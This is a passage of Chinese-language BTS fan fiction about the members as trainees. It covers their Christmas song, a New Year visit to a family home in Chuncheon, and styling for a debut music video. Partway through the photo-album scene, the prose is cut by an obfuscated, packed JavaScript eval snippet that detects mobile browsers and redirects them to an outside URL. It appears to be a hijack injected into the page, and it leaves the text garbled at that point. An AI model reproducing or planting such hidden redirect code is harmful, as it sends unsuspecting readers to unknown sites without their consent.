最终,金泰亨得到了一个属于他的麦克风。 当他站在录音棚里,和其他七个人一起,对着谱子唱出属于自己的那句歌词时,他的眼睛亮得惊人,他的声音透过耳机清晰地传到每个人耳中,虽然稍显青涩,却充满了情感。 那一刻,无关乎最终发表时他的声音会被如何处理,无关乎外界是否会听到。 重要的是,在这个属于他们的第一个圣诞纪念里,八个声音真真切切地、平等地交织在了一起,完成了这次最重要的仪式。 歌曲最终以《A Typical Trainee‘s Christmas》为名,在圣诞夜前夕发布在了SoundCloud上。简介只有一句话: “来自普通练习生们的圣诞礼物,和一份关于春天的约定。” 圣诞当天,他们没有出门。 金硕珍用有限的食材弄出了一顿还算丰盛的晚餐,八个人挤在客厅矮桌旁,腿挨着腿,碗碰着碗。 窗外的首尔飘起了细细的雪,静谧地覆盖着黑夜,屋内却温暖嘈杂,充斥着食物的香气、咀嚼声、吐槽饭菜味道的玩笑和突然爆发的笑声。 安岁秋盘腿坐在田柾国和朴智旻中间,面前放着一罐苹果汁,金硕珍以“夜深了”和“你咖啡因摄入超标”为由,没收了他所有的咖啡,他又不喝碳酸饮料,最后只得在冰箱角落找到了这罐尚未过期的果汁。 他小口啜饮着酸甜的果汁,听着金南俊和郑号锡争论某段舞蹈的细节,看着金泰亨和朴智旻为了最后一块炸鸡“勾心斗角”,闵玧其则安静地坐在一旁,嘴角带着一丝几乎看不见的弧度,慢慢剥着橘子,剥好后自然地塞进安岁秋嘴里。 不知是谁打开了SoundCloud的页面,《A Typical Trainee‘s Christmas》下面,评论和播放量正在缓慢却持续地增长,一条条温暖的、来自陌生人的圣诞祝福划过屏幕。 「圣诞快乐!练习生们!」 「声音好温暖,歌词也好真实,加油啊!」 「期待你们的春天!约定好了!」 「和声好好听,挺有意思的。」 「祝你们明年能站在想要的舞台上!Fighting!」 没有惊天动地的反响,却有着切实的、涓涓细流般的支持。 金南俊举起手里的汽水罐,其他人也纷纷举起自己的饮料——烧酒杯、汽水罐、牛奶盒,以及安岁秋那罐苹果汁。 “圣诞快乐。” 金南俊说,声音不高,却带着力量。 “给我们自己,也给所有听到我们的人。” “圣诞快乐!” 七道声音同时响起,夹杂着金泰亨特有的低沉和活力。 罐子轻轻碰在一起,发出清脆的响声。 苹果汁甘甜的滋味在安岁秋舌尖化开,他看着眼前这一张张鲜活的面孔,在温暖的灯光和食物的蒸汽中显得有些朦胧,却又无比真实。 冬天的故事还未完待续,而属于他们的春天,已然在紧握的掌心、交织的声音和这个飘雪的圣诞夜里,悄然埋下了约定的种子。 ------------------------ 参考文献: [1] 朴振荣(J.Y.Park)(词/曲); 邢益豪(翻唱). Nobody[网络短视频]. Wonder Girls(原唱). 原专辑:The Wonder Years:Trilogy, 原发行时间:2008-09-22. 27. 场域转化 新年假期在他们各自归家的短暂喘息中悄然来临。 宿舍里弥漫着收拾行李的细碎声响—— 金硕珍正往行李箱里叠放衣物,准备返回果川;田柾国蹲在一旁,兴致勃勃地清点带给釜山家人的伴手礼,指尖挨个掠过那些礼盒,眉眼间尽是藏不住的雀跃。 郑号锡和金南俊则靠在墙边,有一搭没一搭地聊着光州与日山的冬日哪个更冷,语气松弛得像午后懒散的日光。 安岁秋只拎着一个小巧的旅行包,静静站在闵玧其面前。 少年穿着剪裁简单的休闲衫,眉目清润,身形单薄,而闵玧其垂着眼,黑色连帽衫裹住大半张脸,指尖漫不经心地把充电宝和耳机塞进背包。 这位哥正打算独自留在工作室里度过新年。 “哥。”安岁秋的声音在略显空旷的宿舍里响起,平和而清晰,“跟我回春川吧。” 闵玧其头也没抬,手上的动作未曾停顿,淡淡地回绝,“不用,我留在首尔挺好。” “一个人吃什么?便利店三角饭团?” 安岁秋往前轻走两步,身影恰好落在闵玧其收拾到一半的背包上,语气里添了几分柔软的恳切,“奶奶昨天打电话来,说做了好多酱蟹和米肠,冰箱都快塞不下了。” 闵玧其这才抬起眼,对上安岁秋的目光,那双琥珀色的眸子在冬日浅淡的光线下格外清透,正直直地望着他,不闪不避。 “我……” “车票都买好了。” 安岁秋忽然弯眼笑了,抬手从口袋里掏出两张打印好的KTX票根递到闵玧其眼前——纸质票据遮住了下半张脸,只露出一双亮闪闪的眼睛,透着几分不容拒绝的笃定 “下午三点出发,哥只要带上人和换洗衣服就行。” 说完他便转身低头检查自己包里的笔记本电脑电源线,确认无误后收好,留下闵玧其盯着那两张车票微微发怔。 拒绝的话在舌尖转了几圈,终究还是咽了回去。 闵玧其扯了扯嘴角,把充电宝往包里一塞,拉链拉得哗啦作响,算是应了下来。 “行,”他从鼻子里哼出一声,“要是螃蟹不够吃,你得负责。” 开往春川的列车平稳前行,窗外是急速后退的首尔冬日街景——枯黄色的行道树与斑驳积雪交织成一片模糊的暖调剪影,车厢里暖烘烘的,将室外的寒意隔绝得干干净净。 闵玧其靠在窗边,半边身子陷在柔软的座椅里,耳机里循环着一首未完成的beat,旋律沉闷而规律。 他的眼神没什么焦距,目光虚虚地落在窗外,指尖却无意识地反复摩挲着背包带子,指节微微泛白——这是他第一次在阖家团圆的节日里去一个陌生的家,更是这些年来头一次真正意义上的“回家”,说一点不紧张,是撒谎。 安岁秋坐在他对面的位置,身姿放松地靠着椅背,低头翻看着手机里姐姐发来的消息,嘴角不自觉噙着一抹浅淡的笑意,眉眼都柔和下来。 车窗外斜斜漏进来的冬日暖阳恰好落在他微卷的睫毛上,投下一小片细碎的扇形阴影,暖光轻拂过他清俊的侧脸,整个人透着慵懒的温顺——与闵玧其周身那层不自觉紧绷的气场形成了格外鲜明的对比。 像是察觉到对面那道沉默的紧绷,安岁秋忽然抬眼,目光直直望向闵玧其,声音轻软又带着点狡黠,一下子戳破了对方的伪装。 “哥是紧张吗?” 闵玧其对上那双含着笑意的眼睛,喉结动了动,飞快地将摩挲背包带的手收回身侧,立刻偏头反驳,声音比平时低沉了几分,“有什么好紧张的。” 安岁秋看着他故作镇定的模样,眼底笑意更深,没再拆穿他的口是心非,只是伸手拿起身侧桌上的橘子盒,轻轻推到闵玧其面前。 “这是在车站买的橘子,嗯……奶奶腌的泡菜比这个酸一点,哥可以先提前预习一下口味。” 他说话时语气温软,眼睛弯成浅浅的月牙,目光始终落在闵玧其脸上,梨涡里盛着令人心神不定的暖意。 闵玧其像小猫似的动了动鼻子,嘟囔着说了句什么。 安岁秋没听清,不过他也没问,只是看着对方微红的耳朵挑了挑眉。 列车一路向前,两小时的车程就在这种沉默而微妙的氛围里悄然度过。 出租车缓缓驶离市区,最终停在一栋被低矮石墙与苍劲青松环绕的三层别墅前。 冬日的风卷着细碎的雪沫拂过院墙,四下静谧得只剩积雪从松枝上滑落的簌簌声。院门内是一片开阔疏朗的庭院,不似寻常人家那般紧凑局促,更像一方精心打理的私家园林。 石子小径蜿蜒向前,两侧花木错落有致,铺展成一片安静的花园,冬日里的草木虽敛了生机,仍看得出四季皆有景致的讲究。庭院一侧藏着一汪小小的人工湖,湖面结着薄冰,边缘覆着白雪,与岸边山石相映成趣,清幽得几乎不似人间。 闵玧其推开车门下车,脚下踩着微凉的积雪,脚步几不可察地顿了一下。 眼前的宅子与他预想中“家境尚可”的公寓截然不同—— 整栋小楼是素雅的中式形制,灰瓦覆着薄雪,白墙干净温润,没有张扬的装饰,只有一圈木质廊檐轻缓地绕着楼体,檐下悬着几串旧色风铃,风一过便轻轻晃动。 庭院深处立着一盏古朴的石灯笼,积雪安静地落在灯帽上,整座院子都透着沉静的禅意。没有刺眼的繁华,也没有堆砌的奢华,可这份低调内敛的雅致,反倒更显骨子里的大气与贵气。 闵玧其再一次清晰地认识到,安岁秋口中“条件还可以”到底是“可以”到什么程度,以及金硕珍之前打趣喊的那声“小少爷”,其实一点儿水分都没有。 也不知道这么一个什么都不缺的天之骄子,有什么必要非得跑到那不伦不类的破公司自己找罪受。 安岁秋站在闵玧其身侧,见对方怔怔地望着宅子,伸手轻轻拉了一下他的衣袖,眉眼弯弯地笑着转头看他,“哥,到家了。” 他快步走到院门前,推开木质院门,风铃立刻发出叮咚清脆的声响,在安静的庭院里格外好听。 “我爷爷以前在中国生活过几年,特别喜欢那边的中式建筑,回来后就把老房子重新改成了这样。” 安岁秋一边跟闵玧其轻声细语地解释,一边熟练地牵上了对方的手,准备拉着这只有些认生的猫去见自己的家人。 结果下一秒门就先一步从里面打开了—— 闵玧其瞬间僵了一下,有些懵地眨了眨眼,看着两人还牵着的手,有点不知道要不要抽回来。 也不知道有什么见不得人的,闵玧其莫名总感觉有点心虚。 “哎一古,我们岁秋回来了!”气质儒雅的安奶奶笑容满面地迎出来,目光落到两个人牵在一起的手上,笑容咧得更大了些。 她先捏了捏安岁秋的脸,随即看到闵玧其,眼睛弯成月牙,亲热地揽上闵玧其的胳膊,“这就是玧其吧?安安总提起你。快进来快进来,外面冷!” 热情自然得不带一丝客套,仿佛闵玧其本就是该来家里的孩子。 闵玧其那句准备好的“打扰了”卡在喉咙里,最后只化作一个略显僵硬的鞠躬和努力扮乖巧的好学生微笑。 “奶奶好,我是闵玧其。” “好好好,别拘束。”安奶奶一边说一边往屋里走,“你爷爷还在书房练字呢,你爸和你姐去买吃的了,一会儿就回来,先去洗洗手,厨房炖了牛骨汤——” 话音未落,楼梯上传来脚步声,一位精神矍铄、穿着中式盘扣棉衫的老人走下来,手里还握着一支没来得及放下的毛笔。 “爷爷。”安岁秋弯着眉眼,软乎乎地叫了一声。 老人点点头,目光在闵玧其身上停留片刻,和蔼地笑了,“这就是你电话里说的,音乐上很厉害的哥哥?” 安岁秋耳根微红,像是被揪住了尾巴瞪大了眼,“爷爷。” “小伙子。”安爷爷走过来,拍拍闵玧其的肩膀。 动作很轻,却让闵玧其下意识挺直了背,舔了下唇,“内!” “听岁秋说,你们要做自己的音乐?好事。年轻人,做自己想做的事,比什么都强。”他说这话时语气平淡,可话里的分量却沉甸甸的。 闵玧其张了张嘴,最终只是认真地鞠了一躬,“是,我们会努力的。” 临近晚餐时分,安岁秋的父母和姐姐终于提着大包小包回来了。 安爸爸是个笑容温和的中年男人,带着股书生气,清秀柔和,完全看不出上了年纪。他一进门就拎着食材进了厨房,中途还不忘跟“罚站”的闵玧其打招呼。 安妈妈则很是爽朗,带着英气。闵玧其忽然知道安岁秋那仿佛欧洲人的深邃骨相是从哪里遗传来的了:拔地而起的山根简直和安妈妈如出一辙,连那高耸的眉骨也是——如果不是韩语说得地道,闵玧其真觉得对方是外国人了。 而安宥拉,则是郑号锡调侃安岁秋的那句“做男做女都精彩”最好的证明:她与弟弟几乎是如出一辙的长相,不过更成熟、更明艳一些。 棕色长卷发一甩,利落地跟闵玧其say hi,一个韩式礼仪,一个美式风格,主打一个鞠躬一个摆手,时机错开的刚好。 还是一旁坐在沙发上的安岁秋笑眼弯弯地拽着闵玧其的裤子,让他别这么拘束,解释自己家里对礼仪不是那么严格传统,才拉着对方的手腕坐下来,又捏了捏闵玧其有些绷紧的肩膀。 饭桌上摆满了菜,安奶奶做的酱蟹红亮诱人,牛骨汤冒着热气,还有煎得金黄的五花肉、各色泡菜、刚蒸好的米肠,以及烤猪肘、香肠和炖牛肉——西餐和韩餐都照顾到了。 闵玧其被安排在安岁秋旁边,面前很快堆起一座小山。 安岁秋怕他拘束,把凳子拉得离他很近,只要稍稍转头就能和对方说悄悄话,桌子上的所有菜品都被他夹给闵玧其尝遍了。 “玧其啊,多吃点。”安奶奶也不停地给闵玧其夹菜,“看你瘦的,比岁秋还单薄,练习很辛苦吧?” “还、还好。”闵玧其有些招架不住这种直白的关爱。 “Nana,你别把人吓着。”安宥拉咬着筷子笑,她比上次见面时头发剪短了些,衬得五官更加英气,“人家第一次来,慢慢来嘛。” 全场除了安岁秋全都是成年人,更何况这还是在安岁秋的家里——过年的时候如果不喝点酒,好像有点说不过去。 安父去地下室拿了一看就很贵的、写着闵玧其不认识的语言的白葡萄酒上来。虽然闵玧其英文水平很烂,但最起码知道英语里的u字母上面不会有两个点,而且这白葡萄酒实在是好喝得很。 闵玧其在安母的强烈要求下接过了安岁秋倒给他的酒杯,小心翼翼地品了一口:入口极顺滑,完全没有普通酒的涩,像含了一口融化的冷奶油,又轻又柔,顺着喉咙直接滑下去,温柔得不像话,甚至还能在嘴里留香几十秒。 闵玧其喉结动了动,举着杯子盯着酒液看了一会儿。 安父问他口感如何,他也说不出个所以然来,只是点点头,简洁明了地来了一句:“好喝。” 安母就很爽朗地笑了,“对吧,就是好喝,所以才买的。” 饭吃到一半,话题不知怎么转到了安宥拉在美国的生活上。 她喝了口大酱汤,很自然地开口:“对了,我女朋友Sienna说她圣诞收到的中国茶和丝绸围巾她妈妈特别喜欢,让我谢谢妈。” 空气安静了一秒。 闵玧其夹泡菜的动作顿住了,他下意识抬眼去看安家父母和爷爷奶奶的表情。 安妈妈“哦”了一声,慢条斯理地舀了一勺汤,带着点调侃地挑眉看向女儿,“我就说你怎么突然要寄那些,还指名要最好的龙井和苏绣……原来是讨好未来妈妈?” 安宥拉嘿嘿笑,“被发现了。” 安爸爸摇摇头,语气无奈但带着笑意,“女大不中留啊。不过那个外国姑娘照片我看了,长得挺善良的,下次带回来吃饭。” “等夏天她毕业旅行,说不定会来韩国玩。” 爷爷奶奶的反应更平静,安爷爷只是点点头,“人好就行,国籍性别,都是次要的。”安奶奶则笑眯眯地补充,“那得提前说,我好准备点她爱吃的。英国人都喜欢什么?炸鱼薯条?” 闵玧其低下头,用力扒了一口饭,米粒在嘴里咀嚼,他却尝不出太多味道。 不是震惊于安宥拉喜欢女生这件事本身,毕竟在首尔的地下文化圈,他见过更多。而是这种在家庭饭桌上,用这么随意平常的语气说出来,并且全家人都如此自然地接受和延续话题的氛围,是他从未想过的。 桌子底下,安岁秋的脚尖轻轻踢了一下他的小腿,闵玧其转头抬眼,看见弟弟对他眨了眨眼,嘴角带着一丝笑意,眼睛亮亮的,他喉结也动了下,下意识勾起了唇角。 饭后,安爷爷兴致勃勃地要带闵玧其参观他的书房。说是书房,其实更像一个小小的收藏室:满墙的书架,一半是韩文书籍,另一半是中文典籍,玻璃柜里陈列着青花瓷瓶、紫砂茶壶,墙上挂着水墨山水和毛笔字。 “爷爷退休后没事干,就爱鼓捣这些。”安岁秋跟在后面解释。 安爷爷抽出一幅卷轴,小心地铺在宽大的书案上——是一幅行书,笔走龙蛇,墨色酣畅。 “这是王羲之《兰亭序》的摹本,”老人眼睛发亮,“虽不是真迹,但这笔意……”他滔滔不绝地讲起书法流变,闵玧其听得半懂不懂,但能感受到那股纯粹的热爱。 讲到最后,爷爷忽然看向安岁秋,“岁秋,来,写几个字给玧其看看。好久没见你动笔了。” 安岁秋有些无奈地叹了口气,但还是乖巧地走上前,熟练地铺纸、研墨、润笔,拿起一支中楷狼毫,微微躬身,悬腕落笔——墨迹在宣纸上洇开。 他写的不是韩文,也不是复杂的诗句,而是两个简洁有力的汉字:少年。 横折竖勾,笔画干净利落,起承转合间竟隐隐有股锐气。 闵玧其看着那两个字,再看看安岁秋垂眸时专注的侧脸——这个在舞台上即将用说唱和舞蹈表达反抗的少年,此刻正用最传统的方式,书写着他们团队的名字。 矛盾的和谐感,在这一刻达到了极致。 “好!”爷爷击掌赞叹,“笔力见长,这字里有劲。” 安岁秋放下笔,耳根又有点红——在家人面前,那股淡定的成熟感荡然无存,说话都变得软声软气的:“爷爷别夸了。” 他转头看向闵玧其,小声解释,“小时候被爷爷逼着学过几年,只会写点简单的。” 闵玧其没说话,只是拿起手机,对着那幅字按下了快门。 当晚,闵玧其睡在安岁秋房间旁边的客房里。 这别墅里的一间客房比他们八个人住的小宿舍还要大,大床睡三个人都绰绰有余,被子蓬松柔软,有阳光晒过的味道。 他闭着眼,若有若无地闻到了空气里淡淡的红茶香——想到了安岁秋身上那股柚子茶的气息,眉眼放松下来,在这安静而陌生的温暖环境里,逐渐陷入了梦乡。 第二天一早,安宥拉不知从哪个角落翻出一本厚重的相册,抱到客厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394876|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶几上,招呼刚吃完早餐的闵玧其过来。 “来,玧其呀,给你看点好东西。”她笑得像只狡猾的猫,一脸不怀好意。 安岁秋瞬间警觉,“姐,你想干什么?” “给朋友展示一下你珍贵的成长历程呀。”安宥拉已经哗啦啦翻开相册,精准地停在某一页。 闵玧其凑过去。 照片上是一个大概三四岁的小男孩,穿着粉色的蓬蓬纱裙,头上戴着小皇冠,脸颊肉嘟嘟的,被涂了腮红,嘴唇也抹得红艳艳的——他抱着一只玩具熊,对着镜头笑得见牙不见眼,完全是个漂亮的小公主模样。 如果那双标志性的、微微上扬的琥珀色眼睛不是那么熟悉的话。 闵玧其:“……” 他颇有兴趣地挑了下眉。 安岁秋已经红着耳朵扑过去抢相册:“安宥拉!给我!立刻!马上!” “哎呀,抢什么,还有呢。”安宥拉灵活地躲开,又翻一页。 这张年纪大一些,六七岁左右,穿着改良版韩服女装,头发被梳成两个小髻,眉心还点了一颗朱砂痣。 小安岁秋看起来很不情愿,嘴巴抿得紧紧的,但被大人按着肩膀,只能对着镜头干瞪眼。 “这是社区文化节,当时的邻居被抽中表演传统家庭剧,缺个小女儿。” 安宥拉乐不可支,“他当时哭得可惨了,说自己是男孩子,最后还是被一盒芋泥大福收买了。” 闵玧其看着照片里那个一脸“生无可恋”的小安岁秋,再看看旁边已经放弃挣扎、把脸埋进抱枕里的成年版,嘴角控制不住地向上弯起一个明显的弧度。 他默默掏出手机,对准相册拍照,“咔嚓”一声,一下子把蒙着脑袋的小仓鼠叫醒了。 “哥!”安岁秋抬起头,眼睛瞪得圆圆的,颇有刚认识时被金硕珍逗得话都说不利索的小孩子模样,“不许拍!” “证据。”闵玧其言简意赅,手指已经按下了拍摄键。 他甚至调整角度,拍了好几张特写,然后火速发在了群里,还按着安岁秋的手不让他撤回。一只胳膊压在安岁秋单薄的胸口上按着肩膀不让对方动,另一只胳膊举得高高的,单手灵活地操作着点了发送。 安岁秋哀嚎一声,彻底瘫倒在沙发上。 安宥拉得意洋洋地合上相册,对闵玧其眨眨眼,“这相册就放客厅,你随时可以来看。他的黑历史,三天三夜讲不完。” 闵玧其把手机收好,一本正经地点点头,“谢谢姐姐,我会好好保存的。” 安岁秋把抱枕盖在了脸上,选择忽略一旁震动个不停的手机——不用打开他都能想到那群人会说什么。 午后,安岁秋带着闵玧其去了春川市区,他们没有去热闹的明洞街,而是直接去了缆车站。 “三岳山湖水缆车,”安岁秋买票时说,“全程三公里多,能看到整个春川和衣岩湖,冬天人少,安静。” 车厢是透明的水晶底设计——当缆车缓缓离开站台,脚下逐渐变成悬空,闵玧其下意识握紧了扶手。 玻璃外的视野豁然开朗:冬日的衣岩湖像一块巨大的、蒙着薄雾的灰蓝色玻璃,倒映着铅灰色的天空和远处连绵的、覆着白雪的山峦,春川市的建筑星星点点散布在湖边,像孩童随手撒下的积木。 缆车速度很慢,慢到能看清湖面上掠过的水鸟,能看清山间松枝上堆积的雪。世界被隔绝在外,只剩下这个小小的移动着的玻璃盒子,和盒子里并排坐着的两个人。 安静持续了好几分钟,只有缆车滑过索道的轻微嗡鸣。 “哥。”安岁秋忽然开口,声音很轻,“昨天吃饭的时候,你是不是吓了一跳?” 闵玧其知道他在问什么,他看着窗外缓缓移动的景色,沉默了一会儿。 “有点,”他最终承认,“没见过这么……直接的。” “我家就这样。”安岁秋也看向窗外,侧脸在冰冷的光线下显得柔和,“爷爷说,人活一辈子,遮遮掩掩最累。” “喜欢什么,想做什么,只要不伤害别人,就大大方方的。所以他们知道我想做演员、做偶像,都没反对。”他顿了顿,“当然,也可能因为他们本来就不太管我。” 闵玧其转过头看他,“不会觉得……太自由了吗?” “自由不好吗?”安岁秋反问,眼神干净。 闵玧其答不上来。 他不是觉得自由不好,只是不习惯——他习惯了在约束中寻找缝隙,习惯了把想说的话吞回去,习惯了用冷淡包裹住那些滚烫的、可能不被接受的部分。 “哥的家里……”安岁秋试探着问,声音放得很轻。 “就那样。”闵玧其打断他,重新看向窗外,“没什么好说的。” “那……哥还有没有什么想问我的?想了解我的?”安岁秋也不追问,只是歪着头循循善诱地引导闵玧其,弯着漂亮的眉眼侧头看他。 闵玧其垂下眼轻笑了一声,带着懒洋洋的笑意回头,“……啊,还真有。” “……昨天那酒什么牌子的?还挺好喝的。” “啊?”安岁秋没想到闵玧其会突然来了这么一句,微张着嘴愣了一下,有点迟疑地说,“应该是TBA?我没记错的话,我对这些也不太了解,都是外公从德国寄来的。” “要是哥喜欢的话,回头我可以让外公往公司寄两箱。” “别,说着玩的。”闵玧其赶紧打断因为自己跑火车而当真的老实人——虽然他见识过安岁秋是真的不差钱,但他身为哥哥和男人的那点诡异的自尊心,还是没那么容易接受好意的。 “等等,你外公在德国吗?”闵玧其微眯着眼,抓住了一个重点。 “啊,对,我外公是德国人来着。”安岁秋眨了下眼,突然发现自己好像忘记给闵玧其补充背景信息了。 “……”闵玧其大脑宕机了一秒,“所以,你其实真的是混血?!” 他的眼神落到安岁秋过于立体的五官上,在那双浅棕色的瞳孔多停留了几秒——之前安岁秋年幼时骨相没有这么明显,现在越长大越立体了,但是有了金泰亨这个例子在前,再加上之前春川方言的事情,他就没再怀疑过了。 安岁秋举着手指头梳理,“是倒是,但混到我这儿已经很少了。” “外公应该是3/4德国、1/4奥地利,到妈妈这里需要除以2,到我再除以2,那混的就很少了。” 闵玧其闭了闭眼,也不知道是回到了高中上生物课还是数学课,他韩译韩翻译了一下,一句总结。 “那你是……德国、奥地利、韩国的混血?” 安岁秋点点头,“简单说的话,就是有1/4日耳曼血统的混血吧。” 闵玧其突然伸手,用指节贴在安岁秋眼下,轻轻刮了一下对方又长又翘又密的睫毛,感受到那阵轻微的痒意。他看着安岁秋不明所以地眨了眨眼,微微勾起嘴角,眼尾上扬。 “怪不得。”闵玧其眼皮微颤,咽下了后面的句子,只是低低地笑了一下。 “啊?什么?”安岁秋微微蹙着眉——自带眼线的上扬眼尾被带着下垂,像是立起的狐狸耳朵落了下来,那股机灵劲都变得呆萌了起来。 “那你会说德语吗?” “会一点简单的……哥我教你一句吧?” “Hallo!” “……不是hello吗?” “德语里是hallo,跟英语hi差不多……” 缆车正经过一段最开阔的湖面,阳光挣扎着从云层缝隙透出一点,在湖面上铺开碎金般的光斑。 28. 美学定型 假期的余温还残留在行李箱的空隙里,众人便陆陆续续赶回了首尔。 初春的风还带着料峭寒意,可钻进狭小的练习室,空气里却早已弥漫着截然不同的紧绷气息——墙上的日程表被密密麻麻的红色马克笔填得满满当当,从清晨到深夜的训练时段被切割得毫无缝隙。 高强度的舞蹈训练耗光了所有人的力气,傍晚时分,暮色透过练习室半拉的窗帘,漫进昏黄的光,大家连抬手擦汗的力气都没有,一个个累得四肢发软,直挺挺地瘫在冰凉的地板上。 呼吸交织着汗水的热气,地板被体温焐出浅浅的温热,就在一片疲惫的静默里,经纪人哥哥抱着一沓装订整齐的A4纸推门而入,纸张摩擦的轻响打破了沉寂。 他快步走到众人中间,弯腰将歌词纸挨个分发到每个人手里,语气带着不容置疑的利落。 “这是出道曲的歌词和part分配,都仔细看看,有问题尽快提,明天一早开始合练。” 安岁秋伸手接过属于自己的那两张,指尖触到纸张的微凉,他缓缓支起身子,盘腿坐在地板上,脊背挺得笔直,没有丝毫懈怠。 低头翻看时,黑色的印刷体整齐排列,密密麻麻的韩文与英文交织在一起,占据了整张纸,他目光快速扫过,很快锁定了自己的部分——篇幅不长,短短四句话,嵌在第二段主歌与副歌的衔接处,分量轻得几乎不起眼。 安岁秋快速看了两遍,薄唇微抿,在心里默默顺了顺发音,标记好节奏断点,随后便将歌词纸轻轻放在身侧的地板上,随手拿起脚边的矿泉水瓶,拧开瓶盖小口喝着。 侧脸线条干净利落,下颌线绷出柔和又清冷的弧度,脸上没有半分波澜,既没有因为part过少流露出失落,也没有丝毫不满与抱怨,平静得仿佛只是确认了一句明日的天气预报,淡然到让人心头微顿。 身旁的田柾国却没这般平静,少年浑身还带着未散的稚气,脸颊因刚才的训练泛着淡淡的红晕,他凑着身子往安岁秋身边挪了挪,膝盖轻轻抵着安岁秋的膝盖,温热的触感透过运动裤传来。 他指着自己歌词纸上那段复杂拗口的快嘴rap,圆眼睛里满是困惑,声音软软的带着点奶气:“岁秋哥,这个连读我怎么练都觉得拗口,总也顺不下来……” 安岁秋接过他的纸,压低声音,一字一句清晰地示范起来,另一只手则轻轻搭在田柾国的手背上,指尖随着节奏缓慢地打着拍子。 田柾国跟着他的语调反复念诵,几次磨合过后,终于将那段快嘴说得流畅自然,瞬间咧嘴笑开,圆溜溜的眼睛弯成月牙,眸子里亮晶晶的,学完了也不愿意挪动屁股,还是膝盖抵着安岁秋的膝盖一起盘腿坐着。 不远处的金南俊将这一幕尽收眼底,他靠在墙角,手里攥着自己那份写满大段rap的歌词纸,看着两人紧挨的身影,眉峰不自觉地抬了一下,目光随即落在安岁秋压在地板上的手上。 安岁秋的手指生得极为好看,修长纤细,骨节匀称,白皙的皮肤在练习室顶光的照射下,泛着细腻的光泽,手背上那颗小巧的痣,格外醒目,如同宣纸上不经意泼落的一点墨,鲜艳又别致。 他的视线缓缓上移,落在安岁秋那头微卷的黑发上,柔软的发丝被顶光镀上一层浅金色,衬得他侧脸愈发清隽出众。 金南俊沉默了两秒,嘴唇微微张了张,心里翻涌着复杂的情绪,想说些什么,手指却不自觉地攥紧了歌词纸,指节泛白,愣神片刻后,终究只是深吸了一口气,将所有思绪压下,更用力地研读起自己那篇幅冗长的rap歌词。 方时赫的策略,他隐隐明白。 安岁秋太过耀眼,也太过显眼——扎实的演技背景、无可挑剔的出众外貌,还有练习时不经意间展露的独特音乐质感,每一点都足以在人群中脱颖而出。 若是在出道曲里再给他分配大量part,团队的平衡必然会被打破,这份刻意的压制,既是为了团队整体考量,某种程度上,也是对安岁秋的保护。 可即便想通了这层缘由,看着安岁秋那份全然接受、甚至毫不在意的淡然模样,金南俊心里依旧不是滋味。身为团队里的哥哥,那份与生俱来的责任感,夹杂着对弟弟的隐约愧疚,在心底搅成了一团乱麻,沉甸甸的,压得他有些喘不过气。 MV拍摄定在二月中旬,选址在京畿道一处废弃的旧学校和周边街区,凛冽的寒风还没褪去,出道首支MV的筹备却早已紧锣密鼓。 拍摄前一天,天刚蒙蒙亮,所有人就被集体拉到美容室,从发型、妆容到穿搭,开启了长达数小时的全方位“改造”,美容室里吹风机的嗡鸣、造型师的叮嘱声混在一起,热闹又嘈杂。 闵玧其是最早完成造型的一批,他从化妆椅上站起身时,伸手摸了摸头顶被发胶固定得纹丝不动的头发,硬邦邦的触感让他忍不住皱了下鼻。 抬眼看向镜子,瞬间撞进一张近乎陌生的脸——全包眼线利落拉长眼型,衬得原本就清冷的眼睛愈发狭长锐利,毛线帽被刻意压低,搭配上层层叠叠的金属链条,嘴角习惯性下撇的弧度被无限放大,浑身上下都透着股“不好惹”的地下swag,和平日里慵懒佛系的模样判若两人。 他对着镜子挑了挑眉,镜中人也同步挑眉,带着点自己都觉得新奇的玩味。 “哇,玧其哥,帅炸了!” 旁边突然传来金泰亨亮晶晶的惊叹声,少年早已做好造型,一头金灿灿的蓬松卷发,像极了炸毛的小狮子鬃毛。 贴身皮衣缀着冷硬铆钉,眼上画着和闵玧其同款全包眼线,明明是凶悍的风格,却被他那张精致的脸衬得像只张牙舞爪却毫无杀伤力的漂亮小兽,他还特意转了个圈,皮衣摩擦出沙沙的声响,得意得不行。 另一边的郑号锡,正对着镜子揪着脸上的铆钉口罩,眉头微蹙小声嘀咕:“这个边缘会不会刮脸啊……” 他说着轻轻蹭了蹭脸颊,又松了口气,“哎,好像还行?” 一身黑色机能风服装,搭配着夸张的金属配饰,天生舞者的挺拔体态与身体控制力,让他即便安安静静站着,也藏不住一股蓄势待发的灵动劲儿,时不时对着镜子摆个舞蹈站姿,自我审视着造型效果。 金硕珍对着镜子端详自己脸上浓重的烟熏妆,眉头拧成一团,表情纠结又无奈,伸手轻轻戳了戳眼周的妆容,苦着脸嘟囔。 “完了,我妈要是看到我这个样子,怕是当场要晕过去,回家肯定要念叨好久。” 话虽这么说,浓重的颓废妆容搭配他与生俱来的贵气,反而碰撞出一种奇特又惊艳的反差美感,连造型师都忍不住夸他适配度高。 朴智旻则对着镜子,捏了捏自己穿着黑色背心露出的经过无数次训练渐渐有了肌肉线条的胳膊,又抬手扶了扶反戴的鸭舌帽。 他努力绷起脸颊,想做出凶巴巴的不良少年表情,可脸上没褪去的婴儿肥圆鼓鼓的,非但没半点凶悍感,反而透着股可爱的虚张声势,自己对着镜子憋了两秒,没忍住先笑场了。 田柾国是妥妥的兴奋派,换好花纹短裤,戴好金属项链,一刻也闲不住,在美容室的休息区走来走去,逮着每个能反光的地方——镜子、玻璃门、甚至手机屏幕,都要凑过去照半天,时不时捋捋头发,调整项链位置,像只臭美的小狗。 看到金南俊整理造型,立刻蹦过去,仰着小脸晃了晃脖子上的项链:“南俊哥,你看我这个项链酷不酷?号锡哥,这个裤子是不是特别hip-hop?” 被他围着转的金南俊,早已完成全部造型,黑色墨镜架在鼻梁上,头发向上梳成利落的造型,两侧鬓角剃出两道清晰的字母“RM”。 